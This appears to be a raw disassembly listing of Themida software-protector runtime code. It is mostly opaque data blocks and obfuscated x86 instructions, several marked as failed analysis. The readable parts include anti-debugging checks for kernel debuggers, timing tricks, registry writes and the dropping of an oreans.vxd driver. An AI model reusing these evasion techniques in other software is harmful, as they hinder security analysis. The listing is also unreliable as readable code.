dd 0BA803A66h, 6AA0A846h, 0A0B38E9Bh, 50D1B724h, 4A6143DBh
dd 6964B19Ch, 0F4A95C83h, 0AD112C75h, 0FA4DAE69h, 4F868AA4h
dd 1697D1FDh, 26196392h, 1EF00508h, 49CF27DDh, 0C2D1B8ECh
dd 0E3C73B8Fh, 0FE09F470h, 21D5B135h, 605A3A66h, 1E6BE20Ch
dd 785C61B6h, 0E0DF2594h, 6560A21Ch, 855E6BBCh, 3F2D1068h
dd 0E052C8CEh, 73D4DC11h, 39113F13h, 125482C8h, 77FF0993h
dd 3A668313h, 28BCAE94h, 3A66835Ch, 0CC41EFD3h, 0BD6A89B4h
dd 63925867h, 60A241Bh, 82764157h, 6B901D97h, 5F62BB11h
dd 0FA0FF87Bh, 0DDEB7BCFh, 0ECF21426h, 2E5AD25Ch, 0A182EB2Ah
dd 0F8F5AF59h, 28CB0613h, 0BF29719Ch, 0CD7B5F6Ah, 0B61A3740h
dd 3E82BDC7h, 8509384Fh, 2A4B3FB7h, 0E6DC82EBh, 43370217h
dd 0EC9E2F01h, 60B76684h, 539DA651h, 0FC7C6D3Fh, 0AC555052h
dd 18F56E5Bh, 0B328320Fh, 891DE9B4h, 82EB5AFDh, 5FCF0872h
dd 0E8608E2Bh, 285CD062h, 0BF82EB58h, 8B11AD5Bh, 4ED86AF0h
dd 0EB58A226h, 33DD2582h, 0E0414EA3h, 0B1BB9FFCh, 7FB8F27h
dd 804CF8E0h, 0E007186Ch, 0B7ABEFF8h, 0FC80DE99h, 3B71F567h
dd 0D986EDAAh, 40EEDB2Ch, 0C10BFFC3h, 15B7C79Ah, 7FA9CB72h
dd 0AB48858Eh, 0A81C297Ah, 66B7F4B8h, 0C7C6DC40h, 0E60ED5DEh
dd 264675E2h, 3A391D65h, 398DB8CDh, 870B4A50h, 668F1E9Ah
dd 0D233201Dh, 3A00F4C1h, 32A69285h, 0C8662EFFh, 1153h
dd 0BB528900h, 0FB45F966h, 80BFC5B4h
dd 0C82ED83Ch, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
dd 68CF7BCFh, 3F01h, 81241C89h, 4ECh, 243C8900h, 5E08950h
dd 4, 42Dh, 24048700h, 2434895Ch, 0D9D3968h, 243C8B06h
dd 4C481h, 0F8680000h, 89000048h, 4812424h, 424h, 7C685E00h
dd 8900001Ch, 468F243Ch, 24348B08h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0]
pop esp
push [esp+3Ch+var_3C]
pop edi
add esp, 4
jmp loc_543FDB
; ---------------------------------------------------------------------------
setalc
mov bh, 62h
cdq
loc_56667F: ; CODE XREF: sub_565CDA:loc_565D92j
mov eax, 60DA567h
add eax, ebp
jmp eax
sub_565CDA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
das
inc ecx
xor [edi], cl
sal dword ptr [edi-0B079321h], 1
sub eax, [ecx]
pop ebp
jl short loc_56670A
dec eax
jmp loc_56670F
; ---------------------------------------------------------------------------
pusha
cmp dword ptr [ebp+60B1995h], 0
jz loc_5666B0
jmp loc_56670D
; ---------------------------------------------------------------------------
loc_5666B0: ; CODE XREF: Themida_:005666A5j
push 0
cmp byte ptr [esi], 30h
jnz loc_5666C3
push 0
inc esi
jmp loc_5666F8
; ---------------------------------------------------------------------------
loc_5666C3: ; CODE XREF: Themida_:005666B5j
cmp byte ptr [esi], 33h
jnz loc_5666D4
push 10h
inc esi
jmp loc_5666F8
; ---------------------------------------------------------------------------
loc_5666D4: ; CODE XREF: Themida_:005666C6j
cmp byte ptr [esi], 34h
jnz loc_5666E5
push 30h
inc esi
jmp loc_5666F8
; ---------------------------------------------------------------------------
loc_5666E5: ; CODE XREF: Themida_:005666D7j
cmp byte ptr [esi], 35h
jnz loc_5666F6
push 40h
inc esi
jmp loc_5666F8
; ---------------------------------------------------------------------------
loc_5666F6: ; CODE XREF: Themida_:005666E8j
push 0
loc_5666F8: ; CODE XREF: Themida_:005666BEj
; Themida_:005666CFj ...
lea eax, [ebp+60B16C5h]
push eax
mov [esp], eax
xchg eax, esi
push eax
xchg eax, esi
push 0
; ---------------------------------------------------------------------------
db 0FFh
db 95h, 0D9h
; ---------------------------------------------------------------------------
loc_56670A: ; CODE XREF: Themida_:00566695j
or ecx, [ebx]
push es
loc_56670D: ; CODE XREF: Themida_:005666ABj
popa
retn
; ---------------------------------------------------------------------------
loc_56670F: ; CODE XREF: Themida_:00566698j
mov byte ptr [ebp+60B2845h], 4Dh
push 0B2899173h
xor dword ptr [esp], 16BCE7DBh
push dword ptr [ebp+60B0315h]
lea eax, [ebp+60B390Dh]
call eax
mov [ebp+60B0BD9h], eax
jmp short loc_566756
; ---------------------------------------------------------------------------
dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h
dd 5C2E5C5Ch, 4349544Eh
db 45h, 0
; ---------------------------------------------------------------------------
loc_566756: ; CODE XREF: Themida_:00566736j
mov eax, eax
mov edi, eax
cmp dword ptr [ebp+60B05BDh], 0
jnz short loc_56676C
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_566785
loc_56676C: ; CODE XREF: Themida_:00566761j
push eax
push ebx
mov eax, eax
mov eax, 40Fh
mov [ebp+60B2A35h], eax
lea ebx, [ebp+60DB31Ah]
call ebx
pop ebx
pop eax
loc_566785: ; CODE XREF: Themida_:0056676Aj
cmp dword ptr [ebp+60B29D1h], 0
jz short loc_5667A5
push eax
push ebx
mov eax, 40Fh
mov [ebp+60B2A35h], eax
lea ebx, [ebp+60DB009h]
call ebx
pop ebx
pop eax
loc_5667A5: ; CODE XREF: Themida_:0056678Cj
push ebx
add esi, [ebp+60B0561h]
pop edx
mov eax, eax
pusha
add edx, [ebp+60B2061h]
popa
mov byte ptr [ebp+60B2845h], 43h
mov edi, [ebp+60B01FDh]
call sub_5667CD
cld
outsb
; ---------------------------------------------------------------------------
db 8Eh
db 0BCh
; =============== S U B R O U T I N E =======================================
sub_5667CD proc near ; CODE XREF: Themida_:005667C4p
call sub_5667DA
and al, 4Dh
cld
pusha
test [ebp+16h], edx
in eax, dx
sub_5667CD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5667DA proc near ; CODE XREF: sub_5667CDp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056684F SIZE 00000003 BYTES
mov esi, 57DDE9D4h
pop ecx
push eax
mov dx, di
mov eax, [esp+arg_0]
push eax
push edx
mov edi, 0AC1B280h
rdtsc
push eax
push edx
mov esi, ecx
rdtsc
mov cl, 4Bh
pop edx
pop eax
pop edx
pop eax
mov eax, [eax]
call near ptr loc_566812+4
setalc
rcl dword ptr [ecx-1979E7CDh], cl
outsd
pop edi
out 0F0h, eax ; AT 80287 latch clear.
; 'Busy' gets latched upon an unmasked 287 error.
outsb
jo short loc_56684F
loc_566812: ; CODE XREF: sub_5667DA+25p
test eax, 8B5D372Eh
sub_5667DA endp ; sp-analysis failed
sti
pop esi
mov [esp+4], eax
pop eax
or [ebp+60B2291h], edx
push dword ptr [ebp+60B0B01h]
movzx esi, ax
lea eax, [ebp+60B390Dh]
cmc
call eax
mov di, ax
nop
push eax
mov di, bx
nop
sub [ebp+60B280Dh], eax
push 0
push 0
push edx
call sub_566852
; START OF FUNCTION CHUNK FOR sub_5667DA
loc_56684F: ; CODE XREF: sub_5667DA+36j
and [edx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5667DA
; =============== S U B R O U T I N E =======================================
sub_566852 proc near ; CODE XREF: Themida_:0056684Ap
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_566852 endp
; ---------------------------------------------------------------------------
dw 66A8h
dd 8D29CB8Bh, 60B169Dh, 4E8h, 8000h, 11E96000h, 4D000000h
dd 0F215C894h, 0FC57B3C8h, 5F3AF5D2h, 0DB89DCD8h, 52505061h
dd 310F9BB1h, 585ACE8Bh, 424448Bh, 952BBF66h, 5250008Bh
dd 13E8h, 5940A500h, 3F5443F4h, 0C378F94Eh, 6220369h, 0D01088FAh
dd 0F5A8BB1h, 0DCE4BA31h, 585A0724h, 4244489h, 12E9h, 0ADF77800h
dd 0E484CFA2h, 0AA295026h, 0E6297440h, 58C9C318h, 6800Fh
dd 8D8B0000h, 60B1B61h, 6A036Ah, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 879237C3h, 0FF9A6890h
dd 3DBD893Ah, 6A060B00h, 4870F00h, 66000000h, 6AF1C9BFh
dd 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h
dd 0C3524200h, 679CE7BBh, 14697A36h, 830FBF7Ah, 0
; ---------------------------------------------------------------------------
push 0F8BD9C82h
mov di, ax
xor dword ptr [esp], 38BD9C82h
push 0
push ebx
call sub_56696E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_56696E proc near ; CODE XREF: Themida_:00566966p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_56696E endp
; ---------------------------------------------------------------------------
dw 7EDAh
dd 888B8BFCh, 9D89603Bh, 60B01B9h, 23ED952Bh, 8D61060Bh
dd 0DA6949Dh, 6693F906h, 6650FE8Bh, 932B82BEh, 0BD89D0FFh
dd 60B0B45h, 10850F40h, 0E9000003h, 0Bh, 0C8FEB068h, 5303682Fh
dd 58F489DFh, 7E9h, 58FDCC00h, 6B6AAABBh, 7E890h, 38340000h
dd 1779C69Dh, 6160538Ah, 60505A5Fh, 0AE9h, 3B7BFE00h, 2C28537Eh
dd 0F3DFA5Dh, 86h, 0E8906100h, 0Ah, 0BDD9F921h, 7DAA246Ah
dd 0B5017B44h, 60B1899h, 0F006A5Fh, 38Dh, 0BDD98000h, 562B9C68h
dd 0E852503Bh, 0Fh, 0FCD598C6h, 9A50A1A8h, 1B635D57h, 666D5F35h
dd 0F59D38Bh, 7E931h, 66D0000h, 0C3F032F3h, 81585AA1h
dd 2B1C2434h, 6A3B56h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 926708C3h, 0ACBA8A97h, 6AE7F280h
dd 57006A03h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 0EDFA21Dh, 9563D742h, 14E8006Ah, 0E7000000h
dd 31BB9530h, 0ED703EAEh, 5C7F438Dh, 6E464F4h, 66D2C4C4h
dd 0D32C181h, 66036A5Ah, 2A1D781h, 4E8h, 0
dd 0E95250C0h, 0Dh, 2C997174h, 0FE784EBCh, 0F9464AC0h
dd 0BA310FC0h, 3C8C7CC4h, 8B50585Ah, 0E9042444h, 10h, 0BD241329h
dd 0DBCBC587h, 49B6272Bh, 65E858B4h, 4489008Bh, 8B660424h
dd 8DF958D6h, 0DA69D9Dh, 0DDB50106h, 93060B06h, 8B50EC8Ah
dd 6A93D6h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 0D126D7C3h, 75D90191h, 0D18B662Eh, 8166D0FFh
dd 81C297E1h, 8512C2F6h, 850F4014h, 167h, 2B719589h, 8958060Bh
dd 0B138595h, 52609006h, 0AE8h, 0DEF8FC00h, 0E7183AD4h
dd 5A7510D3h, 2830F5Eh, 50000000h, 6650615Bh, 6090CB8Bh
dd 9D89C38Ah, 60B12C5h, 6A006A61h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 647DC351h
dd 0B9B596CFh, 378D4F16h, 10E8h, 0A7B5E900h, 48E21701h
dd 2BE47770h, 0F866975Eh, 0E85EF818h, 4, 80h, 8A505F56h
dd 24448BD7h, 9E804h, 4E7D0000h, 2583BB8Fh, 6638AAF1h
dd 5EB64EBAh, 0F60008Bh, 8Ch, 54D0BB00h, 89617F98h, 50042444h
dd 6E952h, 7FEA0000h, 1C49EE3Dh, 0B966310Fh, 585ADC7Fh
dd 0F1B52958h, 6A060B2Dh, 9CC98103h, 6A2DB456h, 6870F00h
dd 2B000000h, 0B270D95h, 89036A06h, 0B0E4585h, 0DB8A6806h
dd 0BE6698FEh, 3481F8C1h, 0FEDB8A24h, 9D8DF958h, 60DA6A8h
dd 941BD01h, 8B93060Bh, 0EC8A50D3h, 79BD8B93h, 0FF060B27h
dd 5840FD0h, 0B9000000h, 58C2CB54h, 40850F40h, 0F000000h
dd 280h, 58D48A00h, 0E9FB8B66h, 14Ah, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 64C35343h, 0EE9h, 0F618C300h
dd 9B07B1D3h, 0F7367CFh, 8B02FBD9h, 0D6B70FD8h, 59BD8B4Bh
dd 58060B2Eh, 0CE9h, 0FD0D300h, 6605AAFCh, 1D80F83Eh, 4585C60Dh
dd 43060B28h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 0B1C35646h, 80253EDDh, 0AC687FE6h, 53697618h, 5ACA8B66h
dd 0FB240481h, 8B570031h, 0B07058Dh, 1B5FF06h, 89060B0Bh
dd 0B3315BDh, 0E1958B06h, 8D060B19h, 0B390D85h, 55858906h
dd 0FF060B1Ah, 0AD181D0h, 934B34F0h, 0EE8h, 8217A100h
dd 0AE520D2Dh, 0B4A38119h, 595736BAh, 935E5650h, 31659589h
dd 0D0FF060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 45C35343h, 0E6D034AAh, 0DA292001h, 12E9h, 86E67F00h
dd 0A3FDB914h, 0DD92A510h, 0A3311641h, 0B948D24h, 0B116195h
dd 59D8D06h, 0E9060B73h, 11h, 63BEB273h, 17C4A772h, 3476E12Fh
dd 6972C5DCh, 1B8DCh, 7E90000h, 0C2000000h, 4E341821h
dd 0E3FFB6E0h, 22FDBD29h, 0C18B060Bh, 8BF2B70Fh, 0E7F5BAC0h
dd 0BD8348FAh, 60B05BDh, 83097500h, 0B29D1BDh, 19740006h
dd 0C08B5350h, 40FB8h, 99858900h, 8D060B12h, 0DB3819Dh
dd 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h, 40FB8h, 99858900h
dd 8D060B12h, 0DB0229Dh, 5BD3FF06h, 5EB1B958h, 8D8B07EBh
dd 60B103Dh, 0AAE9C08Bh, 53000000h, 7774666Fh, 5C657261h
dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h
dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h
dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h
dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h
dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h
dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h
dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3 dup(0)
dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h, 60DAE3Dh
dd 0AE39858Dh, 8D50060Dh, 0DADA385h, 1685006h, 0FF800000h
dd 0DAE4995h, 0FF196A06h, 0DAE3DB5h, 6A016A06h, 0D2858D00h
dd 50060DADh, 0AE39B5FFh, 95FF060Dh, 60B2F01h, 0AE39B5FFh
dd 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh, 60B2ACDh
dd 3D8589C3h, 8D060DAEh, 0DAE3985h, 858D5006h, 60DADA3h
dd 16850h, 95FF8000h, 60DAE49h, 858D046Ah, 60DAE3Dh, 6A046A50h
dd 0FC858D00h, 50060DADh, 0AE39B5FFh, 95FF060Dh, 60B2F01h
dd 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh
dd 60B2ACDh, 3D8589C3h, 8D060DAEh, 0DAE3985h, 858D5006h
dd 60DADA3h, 16850h, 95FF8000h, 60DAE49h, 858D046Ah, 60DAE3Dh
dd 6A046A50h, 0E4858D00h, 50060DADh, 0AE39B5FFh, 95FF060Dh
dd 60B2F01h, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh
dd 95FF060Dh, 60B2ACDh, 3D8589C3h, 8D060DAEh, 0DAE3985h
dd 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h, 858D046Ah
dd 60DAE3Dh, 6A046A50h, 0F858D00h, 50060DAEh, 0AE39B5FFh
dd 95FF060Dh, 60B2F01h, 0AE39B5FFh, 95FF060Dh, 60DAE45h
dd 0AE39B5FFh, 95FF060Dh, 60B2ACDh, 3D8589C3h, 8D060DAEh
dd 0DAE3985h, 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h
dd 858D046Ah, 60DAE3Dh, 6A046A50h, 0BF858D00h, 50060DADh
dd 0AE39B5FFh, 95FF060Dh, 60B2F01h, 0AE39B5FFh, 95FF060Dh
dd 60DAE45h, 0AE39B5FFh, 95FF060Dh, 60B2ACDh, 65BD83C3h
dd 60B27h, 0B840Fh, 9D8B0000h, 60B2765h, 894CC383h, 0BD83C303h
dd 60B2765h, 0B840F00h, 8B000000h, 0B27659Dh, 50C38306h
dd 83C30389h, 0B2765BDh, 840F0006h, 0Bh, 27659D8Bh, 0C383060Bh
dd 0C3038954h, 2765BD83h, 0F00060Bh, 0B84h, 659D8B00h
dd 83060B27h, 38958C3h, 65BD83C3h, 60B27h, 0B840Fh, 9D8B0000h
dd 60B2765h, 895CC383h, 60C3C303h, 0AE3D8589h, 858D060Dh
dd 60DAE39h, 0A3858D50h, 50060DADh, 168h, 4995FF80h, 6A060DAEh
dd 3D858D04h, 50060DAEh, 6A046Ah, 0AE34858Dh, 0FF50060Dh
dd 0DAE39B5h, 195FF06h, 83060B2Fh, 0B05BDBDh, 840F0006h
dd 0Ch, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh
dd 60B2ACDh, 8960C361h, 0DAE3D85h, 39858D06h, 50060DAEh
dd 0ADA3858Dh, 6850060Dh, 80000001h, 0AE4995FFh, 46A060Dh
dd 0AE3D858Dh, 6A50060Dh, 8D006A04h, 0DAE1685h, 0B5FF5006h
dd 60DAE39h, 2F0195FFh, 0BD83060Bh, 60B05BDh, 0C840F00h
dd 0FF000000h, 0DAE39B5h, 4595FF06h, 0FF060DAEh, 0DAE39B5h
dd 0CD95FF06h, 61060B2Ah, 858960C3h, 60DAE3Dh, 0AE39858Dh
dd 8D50060Dh, 0DADA385h, 1685006h, 0FF800000h, 0DAE4995h
dd 8D046A06h, 0DAE3D85h, 46A5006h, 858D006Ah, 60DAE1Dh
dd 39B5FF50h, 0FF060DAEh, 0B2F0195h, 0BDBD8306h, 60B05h
dd 0C840Fh, 0B5FF0000h, 60DAE39h, 0AE4595FFh, 0B5FF060Dh
dd 60DAE39h, 2ACD95FFh, 0C361060Bh, 3D858960h, 8D060DAEh
dd 0DAE3985h, 858D5006h, 60DADA3h, 16850h, 95FF8000h, 60DAE49h
dd 858D046Ah, 60DAE3Dh, 6A046A50h, 25858D00h, 50060DAEh
dd 0AE39B5FFh, 95FF060Dh, 60B2F01h, 5BDBD83h, 0F00060Bh
dd 0C84h, 39B5FF00h, 0FF060DAEh, 0DAE4595h, 39B5FF06h
dd 0FF060DAEh, 0B2ACD95h, 60C36106h, 0AE3D8589h, 858D060Dh
dd 60DAE39h, 0A3858D50h, 50060DADh, 168h, 4995FF80h, 6A060DAEh
dd 3D858D04h, 50060DAEh, 6A046Ah, 0AE2C858Dh, 0FF50060Dh
dd 0DAE39B5h, 195FF06h, 83060B2Fh, 0B05BDBDh, 840F0006h
dd 0Ch, 0AE39B5FFh, 95FF060Dh, 60DAE45h, 0AE39B5FFh, 95FF060Dh
dd 60B2ACDh, 0C760C361h, 0DAE3D85h, 106h, 39858D00h, 50060DAEh
dd 0ADA3858Dh, 6850060Dh, 80000002h, 0AE4995FFh, 0C00B060Dh
dd 0F840Fh, 85C70000h, 60DAE3Dh, 0
; ---------------------------------------------------------------------------
jmp loc_5673B6
; ---------------------------------------------------------------------------
push 4
lea eax, [ebp+60DAE3Dh]
push eax
push 4
push 0
lea eax, [ebp+60DADB7h]
push eax
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2F01h]
or eax, eax
jz loc_5673A0
mov dword ptr [ebp+60DAE3Dh], 0
jmp loc_5673AA
; ---------------------------------------------------------------------------
loc_5673A0: ; CODE XREF: Themida_:0056738Bj
mov dword ptr [ebp+60DAE3Dh], 1
loc_5673AA: ; CODE XREF: Themida_:0056739Bj
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2ACDh]
loc_5673B6: ; CODE XREF: Themida_:00567364j
popa
mov eax, [ebp+60DAE3Dh]
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+60DAE3Dh], eax
lea eax, [ebp+60DAE39h]
push eax
lea eax, [ebp+60DADA3h]
push eax
push 80000001h
call dword ptr [ebp+60DAE49h]
push 4
lea eax, [ebp+60DAE3Dh]
push eax
push 4
push 0
lea eax, [ebp+60DADB7h]
push eax
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2F01h]
cmp dword ptr [ebp+60B05BDh], 0
jz loc_567417
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60DAE45h]
loc_567417: ; CODE XREF: Themida_:00567405j
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2ACDh]
popa
retn
; ---------------------------------------------------------------------------
pusha
mov [ebp+60DAE3Dh], eax
lea eax, [ebp+60DAE39h]
push eax
lea eax, [ebp+60DADA3h]
push eax
push 80000001h
call dword ptr [ebp+60DAE49h]
push 4
lea eax, [ebp+60DAE3Dh]
push eax
push 4
push 0
lea eax, [ebp+60DADC9h]
push eax
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2F01h]
cmp dword ptr [ebp+60B05BDh], 0
jz loc_56747E
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60DAE45h]
loc_56747E: ; CODE XREF: Themida_:0056746Cj
push dword ptr [ebp+60DAE39h]
call dword ptr [ebp+60B2ACDh]
popa
retn
; ---------------------------------------------------------------------------
dd 284585C6h, 6852060Bh, 0ADE47B07h, 194DB5FFh, 95FF060Bh
dd 60B08A9h, 0AE498589h, 85C6060Dh, 60B2845h, 0E56852h
dd 0B5FF902Eh, 60B194Dh, 8A995FFh, 8589060Bh, 60DAE45h
dd 284585C6h, 6852060Bh, 0B9BF1235h, 194DB5FFh, 95FF060Bh
dd 60B08A9h, 2F018589h, 85C6060Bh, 60B2845h, 10346852h
dd 0B5FF9878h, 60B194Dh, 8A995FFh, 8589060Bh, 60B2ACDh
dd 284585C6h, 6852060Bh, 0C005DBD4h, 194DB5FFh, 95FF060Bh
dd 60B08A9h, 2A618589h, 8E8060Bh, 0E9000000h, 0FE43D60Dh
dd 0F291F79h, 2485h, 0AE800h, 0A71B0000h, 1DB4997h, 86EF00C3h
dd 0EE8h, 0E7EC1800h, 57B222F7h, 0A5EE4105h, 5EBA3FA0h
dd 0D68B5B5Ah, 6A60C381h, 880F0000h, 0
dd 0FC52C92Bh, 0B3C8B5Eh, 1B850Fh, 12E80000h, 95000000h
dd 0BA7DD836h, 641FDE45h, 0F4555361h, 0D77AFCBFh, 45E6804Bh
dd 0BCEF815Ah, 6606FE93h, 7302E281h, 9974F781h, 81F844DEh
dd 8EE0F5EFh, 0F0B70F18h, 0C6BF0F57h, 0F0B048Fh, 28Bh
dd 60D68B00h, 61F5C28Bh, 43E8E981h, 0D0814CE6h, 2BB90E1Fh
dd 43E4C181h, 10E84CE6h, 9F000000h, 99314C08h, 0E877A46Ch
dd 0AFB9460Ah, 5074D5C0h, 948D81BAh, 81585A0Eh, 0FF9674F9h
dd 72850FFFh, 66FFFFFFh, 0E9CF92B8h, 99h, 6775622Fh, 63656863h
dd 2F00326Bh, 63677562h, 6B636568h, 6F662F00h, 72656372h
dd 2F006E75h, 63677562h, 6B636568h, 6C6C7566h, 68732F00h
dd 6F63776Fh, 2F006564h, 776F6873h, 65646F63h, 632F0032h
dd 74726Ch, 7369642Fh, 732F0031h, 69776F68h, 6174736Eh
dd 65636Eh, 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h
dd 61747367h, 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio db '/checkprotection',0
align 4
dd 0E0BD8300h, 60DB5h, 0A840Fh, 85C70000h, 60B29D1h, 1
dd 284585C6h, 6847060Bh, 0D4CDA956h, 0DB243481h, 0FF44A0C5h
dd 0B0B01B5h, 0D858D06h, 0FF060B39h, 8BD0FFD0h, 223F80F8h
dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h
dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
dd 3F80FFFFh, 5850F00h, 0E9000000h, 2DDh, 1E9h, 3F804700h
dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C0E9h, 0AE800h
dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B560B58Dh, 25E8060Dh
dd 3000002h, 0DB5F5BDh, 0F5BD8306h, 60DB5h, 0B840Fh, 85C70000h
dd 60B05BDh, 1, 6BB58DC3h, 0E8060DB5h, 1FCh, 0B5F5BD03h
dd 0BD83060Dh, 60DB5F5h, 0B840F00h, 0C7000000h, 0B29D185h
dd 106h, 0B58DC300h, 60DB5E4h, 1D3E8h, 0F5BD0300h, 83060DB5h
dd 0DB5F5BDh, 840F0006h, 0Bh, 199585C7h, 1060Bh, 8DC30000h
dd 0DB575B5h, 1AAE806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h
dd 0F00060Dh, 0B84h, 0D185C700h, 1060B29h, 0C3000000h
dd 0B57FB58Dh, 81E8060Dh, 3000001h, 0DB5F5BDh, 0F5BD8306h
dd 60DB5h, 15840Fh, 85C70000h, 60B29D1h, 1, 5BD85C7h, 1060Bh
dd 8DC30000h, 0DB58DB5h, 14EE806h, 0BD030000h, 60DB5F5h
dd 0B5F5BD83h, 0F00060Dh, 0A84h, 9985C700h, 1060B02h, 8D000000h
dd 0DB597B5h, 126E806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h
dd 0F00060Dh, 0A84h, 9985C700h, 1060B02h, 8D000000h, 0DB5A2B5h
dd 0FEE806h, 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh
dd 0A84h, 0A585C700h, 1060B03h, 8D000000h, 0DB5A8B5h, 0D6E806h
dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h
dd 5D85C700h, 1060B1Ah, 8D000000h, 0DB5AEB5h, 0AEE806h
dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h
dd 3D85C700h, 1060B0Bh, 8D000000h, 0DB5BCB5h, 86E806h
dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h
dd 0E585C700h, 1060B27h, 8D000000h, 0DB5C9B5h, 5EE806h
dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h
dd 7985C700h, 1060B2Eh, 8D000000h, 0DB5D4B5h, 36E806h
dd 0BD030000h, 60DB5F5h, 0B5F5BD83h, 0F00060Dh, 0A84h
dd 9185C700h, 1060B18h, 0E9000000h, 1, 203F8047h, 9840Fh
dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh
dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h
dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h
dd 0A85h, 1B900h, 5E90000h, 0B9000000h, 0
; ---------------------------------------------------------------------------
or ecx, ecx
jz loc_567A01
sub esi, ebx
mov [ebp+60DB5F5h], esi
jmp loc_567A0B
; ---------------------------------------------------------------------------
loc_567A01: ; CODE XREF: Themida_:005679EEj
mov dword ptr [ebp+60DB5F5h], 0
loc_567A0B: ; CODE XREF: Themida_:005679FCj
popa
retn
; ---------------------------------------------------------------------------
mov ecx, eax
jmp loc_567C22
; ---------------------------------------------------------------------------
a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah
db 0Dh,'Make sure that this file is not being used by another program.',0
align 10h
dd 67h dup(0)
dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_567C22: ; CODE XREF: Themida_:00567A0Fj
jmp loc_567D16
; ---------------------------------------------------------------------------
mov byte ptr [ebp+60B2845h], 47h
push 0E3E45B86h
push dword ptr [ebp+60B0B01h]
lea eax, [ebp+60B390Dh]
call eax
push 104h
lea ebx, [ebp+60B099Dh]
push ebx
call eax
push eax
lea esi, [ebp+60DBB68h]
mov edi, esi
xor al, al
loc_567C5A: ; CODE XREF: Themida_:00567C5Bj
scasb
jnz loc_567C5A
sub edi, esi
mov ecx, edi
pop eax
mov edi, ebx
add edi, eax
rep movsb
mov byte ptr [ebp+60B2845h], 43h
push 0BC8E6EFCh
push dword ptr [ebp+60B0B01h]
lea eax, [ebp+60B390Dh]
call eax
lea esi, [ebp+60B099Dh]
push 0
push 80h
push 2
push 0
push 0
push 0C0000000h
push esi
call eax
mov ebx, eax
mov byte ptr [ebp+60B2845h], 57h
push 0A69BEE56h
push dword ptr [ebp+60B0B01h]
lea eax, [ebp+60B390Dh]
call eax
lea edi, [ebp+60B2775h]
lea ecx, [ebp+60DBC8Eh]
